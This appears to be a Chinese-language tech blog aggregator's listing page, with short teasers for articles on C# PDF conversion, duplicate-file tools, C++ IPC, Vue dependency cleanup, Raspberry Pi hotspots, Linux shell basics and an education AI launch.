閱讀更多...
【C#】Html轉Pdf，Spire和iTextSharp結合，.net framework 4.8

【C#】Html轉Pdf，Spire和iTextSharp結合，.net framework 4.8

&#x1f339;歡迎來到《小5講堂》&#x1f339; &#x1f339;這是《C#》系列文章&#xff0c;每篇文章將以博主理解的角度展開講解。&#x1f339; &#x1f339;溫馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不對之處望指正&#xff01;&#…
閱讀更多...
KrillinAI：視頻跨語言傳播的一站式AI解決方案

KrillinAI：視頻跨語言傳播的一站式AI解決方案

引言 在全球內容創作領域&#xff0c;跨語言傳播一直是內容創作者面臨的巨大挑戰。傳統的視頻本地化流程繁瑣&#xff0c;涉及多個環節和工具&#xff0c;不僅耗時耗力&#xff0c;還常常面臨質量不穩定的問題。隨著大語言模型(LLM)技術的迅猛發展&#xff0c;一款名為Krillin…
閱讀更多...
AllDup：高效管理重復文件

AllDup：高效管理重復文件

AllDup 是一款免費高效的重復文件管理工具&#xff0c;專為 Windows 系統設計&#xff0c;支持快速掃描并清理冗余文件&#xff0c;優化存儲空間。它通過智能算法識別重復內容&#xff0c;覆蓋文本、圖片、音頻、視頻等常見文件類型?。軟件提供便攜版與安裝版&#xff0c;無需…
閱讀更多...
C++進程間通信開發實戰：高效解決項目中的IPC問題

C++進程間通信開發實戰：高效解決項目中的IPC問題

C進程間通信開發實戰&#xff1a;高效解決項目中的IPC問題 在復雜的軟件項目中&#xff0c;進程間通信&#xff08;Inter-Process Communication, IPC&#xff09;是實現模塊化、提高系統性能與可靠性的關鍵技術之一。C作為一門高性能的編程語言&#xff0c;廣泛應用于需要高效…
閱讀更多...
用 Depcheck 去除Vue項目沒有用到的依賴

用 Depcheck 去除Vue項目沒有用到的依賴

1. 安裝 Depcheck 插件 npm i -g depcheck 2. 運行命令&#xff0c;查看為用到的依賴 npx depcheck depcheck 3. 查詢到所有為用到的依賴 E:\Project>depcheck Unused dependencies * riophae/vue-treeselect * codemirror * connect * qs * sortablejs * vue-count-t…
閱讀更多...
猿輔導集團推首個教育AI范式小猿AI 聚焦家校應用場景發布3款新品

猿輔導集團推首個教育AI范式小猿AI 聚焦家校應用場景發布3款新品

近兩年&#xff0c;通用大模型呈爆發式發展&#xff0c;垂類AI遭遇“技術平替”危機。 4月15日&#xff0c;猿輔導集團在“小猿AI暨智能硬件戰略發布會”上&#xff0c;正式推出首個教育AI范式——“小猿AI”&#xff0c;并發布覆蓋家校兩端的“軟件應用智能終端通識課程”三位…
閱讀更多...
英語單詞 list 11

英語單詞 list 11

前言 這一個 list 是一些簡單的單詞。感覺這個瀏覽單詞的方法比較低效&#xff0c;所以準備每天最多看一個 list &#xff0c;真要提升英語水平&#xff0c;感覺還是得直接做閱讀理解題。就像我們接觸中文閱讀材料一樣&#xff0c;當然光知道這個表面意思還不夠&#xff0c;還…
閱讀更多...
BufferedReader 終極解析與記憶指南

BufferedReader 終極解析與記憶指南

BufferedReader 終極解析與記憶指南 一、核心本質 BufferedReader 是 Java 提供的緩沖字符輸入流&#xff0c;繼承自 Reader&#xff0c;通過內存緩沖和行讀取功能極大提升文本讀取效率。 核心特性速查表 特性說明繼承鏈Reader → BufferedReader緩沖機制默認 8KB 字符緩沖…
閱讀更多...
樹莓派超全系列教程文檔--(26)在 Raspberry Pi 上配置熱點

樹莓派超全系列教程文檔--(26)在 Raspberry Pi 上配置熱點

在 Raspberry Pi 上配置熱點 在 Raspberry Pi 上配置熱點啟用熱點禁用熱點使用 Raspberry Pi 作為網橋 文章來源&#xff1a; http://raspberry.dns8844.cn/documentation 原文網址 在 Raspberry Pi 上配置熱點 Raspberry Pi 可以使用無線模塊托管自己的無線網絡。如果您通過…
閱讀更多...
[硬件]單片機下載電路講解-以ch340為例

[硬件]單片機下載電路講解-以ch340為例

首先我們明確要實現的效果&#xff1a; 實現 CH340 通過 Type - C 接口下載程序到單片機 1、前置知識 首先我們要知道 ch340 和typec的作用分別是什么 CH340 作用(usb-ttl) CH340 是一種 USB 轉串口芯片 。其主要作用是實現 USB 總線與異步串行接口之間的轉換&#xff0c;充當 …
閱讀更多...
linux入門六：Linux Shell 編程

linux入門六：Linux Shell 編程

一、Shell 概述 1. 什么是 Shell&#xff1f; Shell 是 Linux 系統中用戶與內核之間的橋梁&#xff0c;作為 命令解析器&#xff0c;它負責將用戶輸入的文本命令轉換為計算機可執行的機器指令。 本質&#xff1a;Shell 是一個程序&#xff08;如常見的 Bash、Zsh&#xff09…
閱讀更多...
最新文章

Copyright @ 2022~2023